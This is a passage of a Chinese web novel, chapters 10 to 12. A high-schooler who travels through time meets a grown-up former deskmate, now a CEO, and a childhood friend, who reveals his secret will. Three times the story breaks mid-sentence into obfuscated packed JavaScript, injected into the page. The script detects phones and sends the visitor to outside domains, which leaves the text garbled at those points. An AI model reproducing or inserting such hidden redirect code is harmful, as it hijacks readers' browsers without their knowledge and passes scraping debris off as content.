凌衔星就这么盯了郁江倾一整节课,他想着,只要对方忍不住了来跟他搭话,他就顺势把检讨书往对方眼前一展,以雷霆的速度质问对方为什么要这么做。 啊,多么丝滑的一套连招啊。 可郁江倾压根不按他的设想走。 直到下课吃午饭,凌衔星端着餐盘啪嗒在郁江倾对面坐下,终于是忍不住开了口,“咳咳,小郁同学,你是不是有事瞒着我啊。” 郁江倾抬眼,“比如?” 面上的神情清冷得好像他真的什么都没做过,凌衔星一时间都开始怀疑自己的判断了。 对质这种事情,拼得就是谁更淡定。 凌衔星当即装得更淡定,哼哼一笑,装逼地抬起下巴,“我一会儿说,你先吃吧,我怕你一会儿吃不下。” 郁江倾:“......” 有点不好的预感。 最后,凌衔星还是没忍住,郁江倾刚吃进去一口白米饭,他按耐不住开了口:“你干嘛偷偷摸摸替我写检讨啊。” “咳咳!”郁江倾险些绷不住形象把饭咳出来。 “......” 冷白的指尖攥紧了筷子,他几乎能听见自己慌乱的心跳。 10. 第 10 章 郁江倾第一次替凌衔星写检讨是在上学期,对方翘课被抓,老师让他去管着人,顺便盯对方写检讨。 但凌衔星似乎家里有事,所以郁江倾最后还是什么都没说,模仿着对方的字迹写了一份检讨。 第二次是他担心凌衔星去交检讨书,会发现不对,索性又自己替上了。 自那以后,一发不可收拾。 真的很蠢,蠢到说出去没人会相信这是郁江倾能干出来的事情。 凌衔星有理有据问:“你很喜欢写检讨?” “......” 错乱的心跳又缓缓回归死寂。 郁江倾深吸一口气,气得有点想笑,但又笑不出来。 这种离谱的询问落在凌衔星身上,居然显得没那么离谱了。 他破罐子破摔:“对,我喜欢写检讨。” 手机突然震动了一下,他低眼看消息,眸色暗沉下来。起身,端着餐盘要离开。 同时也将心底那点不自量力的幻想重新塞回冰层深处。 “诶诶诶你等下,我开玩笑的!”凌衔星起身去拉人,“你别生气啊。” “没生气。”郁江倾顿了顿,“消息找我有事。” “这样吗......”话都这么说了,凌衔星也不好拽着人不放,只能松了手,看对方离开。 他就是见郁江倾好像有点紧张,所以想开个玩笑让对方放松一下。 不过好像没起到效果。 虽然对方不像生气的样子,但也不像心情好的样子。 想了想,凌衔星掏出手机,点进班级群找到郁江倾,发送了一个好友申请。 又通过群聊发起聊天:[郁哥哥你吃饱了吗,我给你带点小零食?] [^3^] [好同桌,世界上最好的同桌,我们下午再好好聊聊呀!【伸出友谊的小爪.jpg】] 另一边没回消息,可能是开始忙那很没眼力见,专挑干饭时间发来的“事”了。 凌衔星摸摸空空的肚子,决定还是先干饭。 刚夹起大鸡腿下一刻,他的视野突然开始变暗,最后彻底陷入黑暗。 这个过程很短暂,短暂到凌衔星都没反应过来什么情况,视野就重新恢复了光明,倒更像是深蹲后站起的眼前一黑。 热闹的食堂消失,凌衔星揉揉眼睛,跟面前的罗学大眼瞪小眼。 嗯,我的大鸡腿呢,怎么是你小子? 凌衔星反应过来。 “不是,这就穿了?!” 雷呢? 穿越的过场动画还带跳过的??? 要是有个雷,他还能抓紧先把鸡腿给吃了啊。 “你还好吧?”罗学好奇看着眼前的人,其实他更想问的是,你脑子没事吧? 在罗学他们的视角里,就是凌衔星好端端的突然开始求雷劈,手舞足蹈了一会儿,突然又呆下来。 “我......”凌衔星噎了一下,“我也不知道我到底有没有事了。” 要是经常这么穿来穿去,他确实还是要担心一下自己的精神状态的。 已经够傻逼了,可不能更傻了。 凌衔星抬眼,端着餐盘离开的小郁同学已经被西装革履的大郁同学替代,对方正用探究的眼神看着他。 凌衔星想了想,将步子一扭,假装发癫的人不是他,十分熟练地走向总裁办。 杨安易想要拦,郁江倾看了眼,他又默默放下手。 总裁办的大门关上,郁江倾语气莫测,“打算脱衣服了?” 凌衔星故作娇羞跺脚,“讨厌啦。” 郁江倾:“......” “有饭吗,我饿了,我们边吃边说。” 杨安易将饭菜送到休息室,离开的时候忍不住看了眼凌衔星。 先生好像真的对这个人上心了。 郁江倾没有动筷子的意思,只看着眼前的人,“你要说什么?” “唔......这个排骨好好吃,是大厨做得吧。” “说话。” 凌衔星咽下嘴里的排骨肉,拿纸巾擦了擦嘴,他吃得很快,但是丝毫不显得粗俗,让人看了也跟着很有食欲。 “是这样的,我刚才不是在走廊那里乱窜吗,其实我又穿回十年前了。” 乱窜这个形容词过于贴切,郁江倾眉心跳了跳,“十年前?” “我知道你不信,但这是真的。我穿回十年前过了几天,又穿了过来,而且两边的时间是无缝衔接的,所以你们看不见我消失什么的。” 说着,凌衔星眼前一亮,对了,他眼尾有划口—— 手摸到眼尾,一片光滑。 ......该死的,口子太浅,估计只剩点不容易看见的痕迹。 只能放弃用伤口证明自己的办法,凌衔星又道:“我还去问了十年前的你,如果我穿越,要怎么跟你相认。” 郁江倾似乎是来了兴趣,双手交叠撑在下巴,“我说了什么?” 一说这个凌衔星就来气,“你忽悠我呢,说什么只要我跟你说我是凌衔星,剩下的我什么都不用做。” “我长了一张很好骗的脸吗?” 郁江倾一顿,落在凌衔星身上的目光逐渐变得幽深。 还真是一个像极了他会说出来的答案。 时间已经过去了太久,但郁江倾依旧没有忘记自己在高中的所思所想。 自卑这个词总是贯穿在暗恋中,何况是他这样的人。 一无所有的人在暗恋高悬天空的骄阳,脚下拖长的阴影就被自卑盈满。 在最落魄狼狈的年纪遇见了一见钟情的人。 而等他有了说喜欢的资格,那个人却早已经不在了。 凌衔星:“对了,我可以问你两个问题吗?” 郁江倾回神,语气淡淡,“你先问。” 言下之意,回不回答看我心情。 “许辰这些年怎么样啊?” “......”郁江倾指尖轻敲桌面,神色未变,“你很在意他?” “我想知道他有没有瘦下来,老那么胖嘟嘟的对身体很不好的。” 至于别的方面凌衔星倒是不担心,有许家在,就算许辰啥也不会也能过得很滋润。 郁江倾似乎是扯了扯嘴角,“我很忙,每天都很多事情,没空关心他。” “这样啊......”凌衔星顿了顿,觉得自己似乎还应该说些什么,最后道:“你很辛苦吧,要好好休息喔。” 敲击桌面的指尖停下,郁江倾神色依旧未变,周身阴冷的气压却似乎散去了一些,“第二个问题?” 顿时,眼前的人眼睛弯了起来,两颗虎牙坏坏地探出来。 郁江倾眉心一跳。 “你说得那个检讨的事情我知道了,我本来是要去问小郁同学的,结果突然又穿过来了。” 他指尖悄悄勾向郁江倾撑在桌面的手肘,“所以,大郁同学,你为什么要替我写检讨啊?” 郁江倾垂眼,没让凌衔星勾到,也没回答,而是反问:“你觉得呢?” 他突然向着凌衔星倾身,居高临下俯瞰对方,额发落在眉骨,长长的眼睫曳落浓重阴影,“你觉得,我为什么要替你写检讨?” 凌衔星微怔,两人间的距离拉近,他都能闻到郁江倾身上冷冽的香味,也不知道是什么牌子的香水。 他这时才察觉,从他问第一个问题开始,郁江倾一直在反问他。 这家伙怎么总喜欢反问,18的时候是这样,长大了还这样。 “其实我一直觉得,你有话想对我说。”片刻后,凌衔星缓缓道。 他难得正经,毫不躲闪抬眼与郁江倾对视。 郁江倾的目光顺着落在了对方左眼睑那颗红痣上,艳丽的色泽刺得他心脏跳动,喉结滚动,“什么话?” 凌衔星沉吟,“你是不是......其实很想跟我做朋友,但是又不好意思说啊?” “......”郁江倾:“?” 凌衔星把他这个呆滞的反应当成了默认了,越想越觉得自己有道理。 他掰着手指开始数理由:“你肯定是因为高一最开始的时候对我态度恶劣,所以拉不下脸来说。但是呢,又被我的人格魅力吸引,控制不住的想要跟我拉近关系鹅鹅鹅......” 被自己这自恋的话给逗乐了,凌衔星笑了好一会儿才接着道:“所以你就想要通过这种方式来跟我委婉示好,对吧?” “你看你现在还戴着从我身上扒下来的手链呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438633|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手托着腮,凌衔星笑眯眯,晃了晃左手上的小太阳,“郁哥哥,你好害羞喔。” “......” “同桌?大郁同学?郁先生~” “......” 郁江倾缓缓抬手覆上额头,指尖拂乱了发丝。 心脏好像不跳了。 沉默许久,他起身离开了休息室,“你自己吃。” 呆呆看着对方离开,凌衔星发懵。 嗯嗯? 不是,怎么这个也走了? 想跟你们面对面一起吃顿饭就这么难吗! 凌衔星头顶冒出问号,他这次明明没开玩笑,说得可认真了。 “难道是不好意思了?” 思考片刻,凌衔星觉得应该就是这样的。 郁江倾这家伙脸皮薄,写个检讨都偷感这么重,现在被他点破心思,不知道该怎么面对他了。 得出结论,凌衔星心情莫名的变得很好,嘴下的饭菜都更好吃了几分。 心脏上面像是有一只喜鹊在叽叽喳喳唱着,唱得他脑袋上翘起来的那簇呆毛晃了晃。 原来郁江倾不烦他呀,还戴他手链那么多年呢,肯定是巨想跟他做朋友,嘿嘿。 吃完饭,凌衔星很有礼貌地收拾好一个个饭盒,这才离开总裁办。 “杨大哥,罗哥,我先走了喔。” 走了两步,凌衔星想起什么又猛地停下脚步。 罗学被吓得一激灵,“你不会又要发癫了吧?” 凌衔星笑得咧出两颗虎牙,“等郁江倾回来,你们帮我带句话。” 杨安易疑惑,“什么话?” “就说我......唔,这样不够直接。” 凌衔星又改变了主意,“你们谁能借我一下手机吗?” 两人对视一眼,罗学掏出了手机递过去。 “你要干啥啊?” 罗学好奇地凑近,然后就看见凌衔星从他的列表找到了郁江倾,按住语音: “同桌,我也超想跟你做朋友的!mua!” “不——!!!”罗学尔康手,目眦欲裂,仿佛看见了自己的坟墓。 “......”杨安易默默把自己的手机藏进最里面的口袋。 好险,劫后余生。 凌衔星握着手机不撒手,“我再说几句嗷。” 杨安易连忙扶住腿发软倒地的罗学。 ...... 凌氏私人医院。 肖逸接过头发,看了眼郁江倾,“谁惹你了,脸色这么差?” “哦不对,你脸色就没好看过,尸骨呢?” 郁江倾取出小心封存在密封袋中的一节长骨。 肖逸一怔,又想起消息里面那句九年前的尸骨,“这、这骨头不会是......” 郁江倾不语。 “你不会是被哪个替身骗了,真觉得他复活了吧!” 肖逸眉头紧锁,“郁江倾,我严肃建议你去精神科看看。” “化验。”郁江倾语气冰冷,“我只要结果。” “你疯了!” “你就当是。” 肖逸气得想笑,“怪不得你没朋友,谁受得了你这烂性格。要不是你帮过我,我才懒得提醒你。” “去去去,结果出来我会告诉你,你别在这碍事了。” 真是有够癫兮兮的。 郁江倾对此没有什么表示,刚要转身离开,手机突然响了几下。 看见是罗学的一连串语音消息,郁江倾微微皱眉。 罗学什么时候这么没规矩了。 点开: “同桌,我也超想跟你做朋友的!mua!” “下次别这么害羞了知道吗,喜欢就要大声说出来!” “来,跟着我说,你也超喜欢跟我做朋友!” 少年鲜活的声音并没有多少失真,几乎是用喊出来的,哪怕隔着屏幕都能感受到蓬勃的生命力。 就是有点响,在安静的办公室里面每一个字都听得清清楚楚。 肖逸意味深长,“你的复活替身?” 郁江倾:“......” “快说啊,快说喜欢啊,我听着呢。” 郁江倾:“......” 11. 第 11 章 罗学心惊胆战猜测着郁江倾的反应,看见上方出现“正在输入中......”的字样时,他差点没缺氧厥过去。 而偏偏罪魁祸首在旁边乐滋滋的,也不知道乐什么。 [郁江倾]:消息删了。 见先生不是要兴师问罪,罗学只觉得大砍刀从自己的后颈收了回去。 呜呜呜有活路了。 火速将这几条语音在自己的账号上彻底删除记录。 果然,手机不能随便借人,他以后一定牢记这点。 “郁江倾说什么?”凌衔星探过脑袋。 罗学一把捂住手机屏幕,“妖孽,还想害我!” [郁江倾]:给他十万,当沙盘的报酬。 这钱也太好赚了吧,罗学悄悄咋舌。 [罗学]:是。 这方面不归他管,罗学将消息给杨安易看。 杨安易也是同款咋舌,但他常年跟着郁江倾办事,表情管理比罗学好很多。 他只是微微惊讶了一下,就对凌衔星道:“请跟我来,先生要给你奖金。” 凌衔星一愣,“奖金?我又不是他员工。” “先生说,是你参加沙盘模拟的报酬。” “喔~”凌衔星摸摸下巴,“我还以为我们郁先生是想要包.养我这个替身呢。” “咳咳......咳咳咳!”罗学在后面被口水呛得撕心裂肺。 杨安易:“......” 对着先生那慑人的气质都能出口调戏,一个人怎么能有种成这样。 收到了十万元的转账,凌衔星这次是真的离开了集团。 他可还没忘记,他在这条时间线里面是陶邬酒吧的顾问, 虽然陶邬没有给他规定具体上班时间,但还是要到场工作工作的,可不能对不起工资。 没活可以找活干嘛。 陶邬的酒吧名叫月夜,装修上很是奢华,看得出来完全不差钱。 酒吧在白天总是比较清冷的,里面只有没几个客人。 见到走进来的凌衔星,里面的人有一个算一个眼睛都亮了。 刚想上前来搭讪,一个金发的男人先一步出现在凌衔星跟前。 “亲爱的星星,我好想你啊,你来看我啦~” 陶邬的语调一如既往的浮夸,凌衔星提醒道:“我们昨天才见过。” 陶邬眼尾沾了亮粉,眨眼的时候布林布林的,“一日不见如隔三秋啊,一天见不到星星你,我就浑身难受。” 有人认出了陶邬的身份,拉住了其他还不甘心想要上前的人。 陶邬可不仅仅是一间酒吧的老板这么简单,背后还站着隔壁Y市的陶家。 “那你多看看吧。”凌衔星观察着酒吧,“有活干吗?” “星星在这里玩得开心就行。” “我不能白拿你的钱。”凌衔星认真看着陶邬。 他这个人的确是很好说话,也很开得起玩笑,没什么禁区。 但他不喜欢欠别人,哪怕是好朋友许辰,他也不会欠对方任何东西,拿了对方什么,就会用同等或者更高价的东西还回去。 说到这里,凌衔星想起来什么,“对了,你昨天不是预支了我一个月的工资吗,我现在有钱了,先还你。” 看到转账,陶邬一愣,“可是星星你昨天不是还穷到没钱吃饭嘛?” 凌衔星闻言,扬起一个得意的笑容,神秘兮兮招招手,“今时不同往日了,我现在可是有钱人了哦。” “什么什么,你中彩票了?” “有人给了我十万。”凌衔星比划了一下,“足足十万。” 陶邬听着总觉得哪不对,“你不是说你是孤儿吗,找到亲戚了?” “没啊。” “那你这十万......”陶邬歪头,“你不是不欠人情吗?” 刚还拒绝了他的工资,转眼收了别人十万? 凌衔星一噎,缓缓目移,“他不太一样。” 都欠了一学期的检讨书了,也不差这十万吧,郁江倾现在这么有钱,这十万都不一定够对方一顿饭钱。 陶邬眯眼,心头突然涌上一股警惕感,莫名有种遇到了竞争对手的感觉。 “男的?” “嗯呐。” “帅不帅?” “有资格跟我并驾齐驱。”凌衔星顿了一下,“你问这个干啥?” 陶邬灿烂一笑,“没什么,关心你一下,对了你不是要找活干嘛,你会哪些啊?” 凌衔星就详细介绍起自己涉猎的方面。 随着内容逐渐深入,陶邬原本吊儿郎当的态度下意识收了起来,眼睛缓缓瞪大。 昨天凌衔星替他解决了一个不大不小的麻烦,他当时对对方一见钟情,手一挥就要给出巨额报酬,但对方没收,只要了一笔合理的钱。 他满心满眼都是想要把对方留下来,来一个近水楼台先得月。 听对方说是孤儿辍学,更是心生怜惜。 至于工作能力,完全不重要,压根没在他的考虑范围内,也没去注意对方替他解决问题时的水平。 但现在,陶邬逐渐意识到不太对劲。 听着凌衔星侃侃而谈,陶邬间歇性幻视他家驰骋商界的老爷子。 怪不得昨天一眼就看出来他这酒吧模式上的漏洞。 这是孤儿? 说是哪个权贵世家倾尽资源培养出来的天骄他都信! 可是说不通啊,哪个世家会让自家继承人来酒吧打工的,只有纨绔才会跟他一样不务正业混日子。 要不是凌衔星姓凌,陶邬真就要往家族上面去想了。 当年的凌氏早已经易主,就连他这种混日子的二代都认识郁江倾,还在各种宴会上悄悄打量过对方。 陶邬突然一顿。 凌衔星...... 嘶,怎么觉得这名字好像在哪听过。 陶邬想了好一会儿,没想到这熟悉感从何而来。 而凌衔星已经带着他的授权,去替他检查酒吧各项流水了。 看着少年垂眼认真的样子,陶邬那点深思顿时飞去了九霄云外。 疯狂心动,救命。 老爷子办公的时候怎么就没这么有气质呢。 真的超想要老牛吃嫩草了。 小星星应该成年了吧? “叮铃铃——” 手机铃声突然响起,陶邬一愣,连忙收起花痴的表情。 “喂?你到了啊,那来我这歇歇呗” “不是上次那个酒吧,上个已经给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438634|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我玩倒闭了,我在南街这边新开了一个,我把定位发你。” 凌衔星好奇抬眼,“老板,你朋友要来?” “别叫老板,太生分了。”陶邬笑眯眯,“叫我陶哥哥怎么样?” 换做别人还真喊不出口,但凌衔星只是乐了一阵,捏着嗓子,“陶~哥~哥。” 他还顺带着比了个心。 啊—— 陶邬捂住狂跳的心口。 “还是叫陶哥吧,叠词有点怪怪的。” “行,都依你。”陶邬乐呵呵。 “我朋友说晚上会来看看,到时候介绍你俩认识。” 凌衔星摆摆手,“没必要,陶哥你俩聊,我还要工作呢。” “我觉得酒吧缺了点吸引客人的东西,没有什么特色。” 以往混日子心安理得的陶邬这次居然有点不好意思,“我不太懂这些,小星星你觉得该怎么改进?” “如果不打算改变酒吧的风格的话,可以考虑推出一个两个门面。” 凌衔星一把勾上陶邬肩膀,笑得一副哥俩好的样子,“今晚我来试试。” ...... 电话另一头,男人放下手机。 界面退出通话,露出的屏幕是一张合照。 笑得眼睛彻底眯成了缝的小胖墩,跟一个咧开两颗虎牙的少年。 许辰垂下眼,盯着照片出神。 刚才在通话的末尾,听见了一道久远又熟悉至极的声音。 骨节分明的手指突然攥紧手机,许辰自嘲一笑。 真是没用,人留不住,尸骨也留不住。 明明那年郁江倾还一无所有,他却依旧没能抢过对方,只能让对方将凌衔星的尸骨带走。 现在更是只能看着对方占下凌衔星的一切过往。 高中三年他从没想到,原来郁江倾也跟他藏了一样的心思,分明装得那么冷漠。 “买了我家的测序仪.....”许辰拧眉,这仪器是用来鉴定Dna的,郁江倾又没后代,要这东西做什么。 许家主攻医疗行业,各类医学设备也都是最顶尖的。 晚上。 车在月色前停下,许辰走进酒吧,里面异常热闹的氛围让他有些意外。 陶邬的经营水平他再清楚不过,完全就是一个砸钱玩的二代,这是花钱请托了? 漫不经心抬眼扫视过酒吧内部,他的目光突然死死定住。 酒吧的驻唱台子上面,灯光落下聚焦在一个少年身上。 少年坐在椅子上,一条腿垂下轻轻晃悠,抱着吉他边弹边唱,整个酒吧的客人几乎都被吸引到周围。 唱到兴起,少年抬眼,笑容灿烂,额发微乱落在眉眼,金色的瞳眸在灯光下熠熠生辉。 恍如当年。 ... 凌衔星感觉到一阵过于灼热的视线,边唱边观察四周。 最后他的目光越过人群,落在了站在门口的男人身上。 这是一个帅哥,眉目清朗俊逸,通身透着温润如玉的优雅。 分明是从没见过的脸,跟十年前认识的人也都对不上号。 但仔细辨认那五官,总感觉有点熟悉。 半晌,凌衔星看见对方步子极度不稳地朝着他这边跑来。 12. 第 12 章 在看见凌衔星的那一刻,许辰的耳边突然就再传不进任何喧嚣,只剩下自己鼓噪的心跳。 世界上怎么会有如此相似的人。 拨开拥挤的人群,许辰挤到了最前面,晃神望着台上的少年。 一模一样。 这些年不知死活去骚扰郁江倾的替身多得数都数不过来,也有来招惹许辰的。 但伪造品终究是伪造品,学不来真人的万分之一。 可现在,看着从外形到神态都与凌衔星完全一样的人,许辰心中冒出一个又一个的荒谬猜想。 到底是更加高明的替身,还是发生了什么难以想象的事情? 郁江倾突然购买测序仪,难道就是因为...... “快看,他就是我跟你说的一见钟情的对象!”陶邬不知从哪凑了过来。 这会儿他看着台上凌衔星的眼神都在放光,“小星星他是不是很完美!我爱死他了!!!” 许辰按捺下心中的惊涛骇浪,面上依旧挂着温润的笑容,“他全名叫什么?” “凌衔星。” 陶邬就像一个得到了心爱的宝贝迫不及待想要跟其他人炫耀分享的小孩子,滔滔不绝道: “小星星他不仅好看,性格好,还会才艺,而且他还很厉害,他给我介绍自己的时候我觉得他比我家老爷子都厉害,要是放到商界肯定会大有成就的,天呐你说世界上怎么会有这么完美的人,我......” 陶邬话语突然一顿,目露怀疑,“我怎么觉得你看星星的眼神怪怪的,你不会也喜欢上了吧。” “我告诉你,别的我可以分享,但你不能跟我抢心上人啊,虽然我跟小星星八字还没一撇,但哥俩追求同一个人算怎么回事。” 许辰垂下眼,再抬眼时面上再无异色,他轻笑,“想什么呢,我有喜欢的人,我只会喜欢那个人。” 当然,如果眼前的少年真的是那个人,他这一次绝对不会再像高中那样软弱无用,不会再做出任何让步。 陶邬松了口气,“我就说嘛,你这么痴情,怎么可能说变心就变心 。” “不过说起来,你从来没给我介绍过你那个白月光,就不打算跟我说说了?” 陶邬是真的好奇,到底是怎么样的一个人,死了这么多年还能让许辰念念不忘。 许辰勾唇,“你应该会有机会知道的。” 凌衔星在台上一直悄悄打量许辰,见对方跟陶邬交谈甚欢就猜想对方应该是陶邬说的那个朋友。 可是陶邬的朋友他为什么会感觉熟悉? 深夜散场。 凌衔星跟依依不舍的陶邬说了再见,并拒绝了对方过于热情提出的送送他,离开了酒吧。 空中又有些飘小雪,晚上的风吹在身上很凉,倒是让在酒吧闷得晕乎乎的脑袋陡然清醒。 郁江倾应该是把监视他的人撤掉了。 他猜得出对方之前派人跟踪他的目的,无非是想看看他这个“替身”会不会在不经意间露出马脚。 只不过让对方失望了,他就是正主,怎么可能崩人设啊。 凌衔星笑了几声,他觉得自己真够奇怪的,其他人要是知道被人监视,肯定浑身刺挠。 他却没什么感觉,反倒觉得郁江倾脸皮薄得可爱。 过了南街,前面有一座跨河的小拱桥,然后就是他住着的小黑旅馆了。 凌衔星哼着小曲儿,他今天心情真的很不错。 知道郁江倾也想跟他做朋友之后,他简直有种心魔骤消以后原地螺旋飞升的轻松感。 唯一的遗憾就是他还是没能看见对方笑一笑。 这一笑也太难求了。 他就像是被胡萝卜吊住的毛驴,团团转。 突然,凌衔星脚步一顿。 前面几米的地方站了个男人,半倚在桥边,正笑盈盈看着他。 是陶哥的那个朋友。 “你好?”凌衔星打了个招呼。 听到这声熟悉的问好,许辰指尖轻颤,艰难维持住礼貌的笑容,“你好。” 凌衔星靠近几步,“我们以前是不是在哪里见过啊?” 说完之后他意识到自己这话像是在套近乎,抓了抓头发,“就是我觉得你看起来有点熟悉,但是又想不起来。” “按理说你长这么帅,我要是见过,不会忘的才对。” 短短几句话,熟悉的感觉几乎将整个心间充斥。 许辰深吸一口气,缓缓道:“我叫许辰。” 凌衔星怔住。 半晌,他啊了一声,重新仔细打量眼前的男人。 许辰配合地扬起一个有些傻乎乎的笑容,那双桃花眼弯起。 对了,感觉对了,就是这憨憨的样子! 凌衔星眼睛猛地亮了起来,“小辰子!” 许辰应了一声。 凌衔星嘴巴张成了O型,“我的天啊,你真的瘦下来了啊,居然这么帅!难怪别人都说胖子是潜力股呢,你这也太潜力了!” “你怎么瘦下来的啊,能忍住不吃零食了?” 许辰轻笑不语,听着凌衔星一句句的絮叨。 当初知道凌衔星遭遇泥石流,他立刻就赶往了山林。 但郁江倾比他更快,他赶到的时候,那个一直清冷淡漠的人跪在泥泞的地面,双手因为刨开废墟而血肉模糊。 救援队肯定要优先抢救还活着的人,所以凌衔星残缺的尸体是郁江倾用手一点点拼凑起来的。 许辰想去搭把手,却险些跟对方打起来。 那时候,他才意识到郁江倾对凌衔星究竟是什么样的感情。 他没能争过郁江倾,对方再不遮掩的阴冷样子把所有人都吓到了,只能看着对方抱着一具冰凉的尸体离开。 此后的日日夜夜,许辰都在憎恨当时软弱的自己。 如果他能再勇敢一点,如果他不是一直躲在凌衔星的身后,如果他不是习惯了依赖凌衔星...... 回家后,许辰大病了一场,患了两年的厌食症。 等到恢复健康,他再也没碰过零食了。 从回忆中抽回神,许辰对凌衔星轻笑道:“去咖啡馆喝一杯?” “好啊好啊。” 坐在靠落地窗的桌边,凌衔星一边欣赏着窗外飘雪的夜景,一边捧着热乎乎的巧克力牛奶嘬了一口,给许辰解释着他为什么会来这里。 “所以说,你穿越过来之后回到家,直接就遇到了郁江倾。”许辰沉吟,“他相信你了吗?” 凌衔星摇头,“不知道他信没信,好像没全不信,也没全信。” “你会信我的对吧,小辰子。”凌衔星满眼期待。 “嗯哼。”许辰掩下眸底的探究,笑盈盈,“我当然是一眼就认出你了,星哥。” 能让郁江倾这种遇到替身直接让替身家破人亡的疯子去检验dna,许辰觉得等不等检验结果已经不重要了。 “郁江倾毕竟跟你不熟,他又不是很在意你,自然对你不了解。”许辰勾唇,抽一张纸巾让凌衔星擦擦嘴角的牛奶,“不像我,对你最熟悉了。” 凌衔星抿唇,“郁江倾跟我也很熟的啦,他就是太谨慎了,我觉得也没什么不好,毕竟凌氏在他手上呢,不能轻易相信我也正常。” 他清楚郁江倾是一个说到做到的人,说了会把凌氏还给他,那就是认真的,所以对方才不能这么轻易相信他的话,不然就是不负责任。 许辰笑容微微淡去。 “对了对了,你这些年过得怎么样啊。”凌衔星,一脸八卦,“有没有交女朋友?” 许辰低眼看着人,“我不喜欢女的。” 凌衔星一愣,反应过来,“喔~你喜欢男的,那有没有交男朋友啊?” “星哥就不对我的性取向觉得惊讶?” “这有什么好惊讶的,喜欢什么性别就什么性别呗。” “没有。”许辰温声,“我没谈过恋爱。” 这下凌衔星是真的有点惊讶了,“你瘦下来这么帅,都没人追你?” “我不喜欢他们。” “喔喔这样啊。”凌衔星拍拍许辰肩膀,“没事,你以后肯定会遇到喜欢的!” 许辰笑而不语。 两人聊了很久,凌衔星从许辰口中大致了解了这些年的变化。 突然他想到一个最开始的疑惑,“你知道郁江倾是怎么白手起家的吗,听说他一毕业就封了我的寝室,还占了凌宅,他哪来的这么多钱啊?” 许辰的笑意突然一顿,他望着凌衔星,“这个不是应该问你吗?” 凌衔星歪头,“为什么问我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438635|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候我不是都嘎了吗?” 许辰深深看着他,“你偷偷立了遗嘱,如果你离世,你所有的一切都将由郁江倾继承,而且是无条件继承,连一丝一毫都没有留给凌家人。” 这件事无人知晓,直到凌衔星离世,凌家人打算分割遗产,律师带着遗嘱找到了郁江倾。 世上从不缺天才,缺的是让天才扶摇直上的平台。 而凌衔星亲手替郁江倾搭好了这个平台,将所有的资源打包送到对方手上,让对方不用经历最艰难的原始资本积累。 知道这件事的人不多,基本都是圈内的人,并没有让媒体流传出去。 许辰低笑一声,“我也很想知道,星哥,你为什么要这么做?” 他并非觊觎凌氏,他只是想不通,凌衔星为什么宁可信任当时一无所有的郁江倾,也不将凌氏托付给他。 但他更想不通,凌衔星还这么年轻,为什么会想着去立遗嘱。 看对方茫然的样子,怕是在高三开学的时候都没动过立遗嘱的念头,不然也不会反过来问他郁江倾是怎么起家的。 凌衔星还有些发愣,“我立了遗嘱......把凌氏给了郁江倾?” 许辰用眼神表示他没听错。 凌衔星懵逼,他怎么突然觉得自己好陌生。 天杀的,完全搞不懂自己的小脑瓜里面在想什么啊! 难道已经执着到想要用凌氏博郁江倾一笑了吗? 不能这么昏君吧! ... 夜已经很深了,窗外的雪飘扬落下,在月色下静谧又安宁。 24h营业的咖啡馆内,只剩下三两桌客人,各自低声交谈着。 凌衔星陷入了头脑风暴,他把cpu过载的脑瓜贴在玻璃上,用冰凉的温度来让自己的脑门降温。 他想过很多种郁江倾钱的来源。 包括但不限于:中了彩票、路上捡的、认了干爹、借鉴了刑法典...... 各种稀奇古怪的想象都冒出来过,唯独没想到他就是那个干爹。 居然是他给得钱。 人甚至无法理解短短一学期之后的自己。 “我放弃了,想不通。”凌衔星摆摆手,“可能是我当时突然来了兴致吧,或者那些蛀虫刺激到我了?” 许辰不强求答案,见凌衔星这样说,便顺着变了话题,“我们加个联系方式吧。” “好。” 凌衔星掏出自己的二手手机,记下了许辰现在的电话号码,又打开好友二维码让人扫。 许辰的头像是一片卡通星空,凌衔星盯着看了一会儿,拍拍对方,“好有童心喔,辰宝宝。” 许辰:“......” 对方喜欢瞎叫人的爱好真是从始至终。 “我给你送部新手机过来吧。” “不用啦,这个也能用。”凌衔星刚要将手机收回口袋,目光却在无意间扫过杨安易转账十万块记录的时候猛然一顿。 等等......转账? 他突然发现自己忽略了一个问题。 这个软件没有实名认证的话能转账收款吗? 很明显是不能的。 但他一个黑户,哪来的实名认证? 凌衔星目光微沉,购买手机的全过程开始在脑中飞速倒放,将一帧帧画面拆解。 原本一些不合理的地方逐渐凸显了出来。 当时那二手手机店的老板对他的态度热情得有点过分,几乎是问什么答什么,给他的二手机质量也完全没话说,价格还特别便宜。 他弄了手机卡,能用就行也没想那么多,以至于杨安易给他转账的时候都没发现自己居然能收款。 不会吧...... 凌衔星眼前缓缓浮现郁江倾的样子。 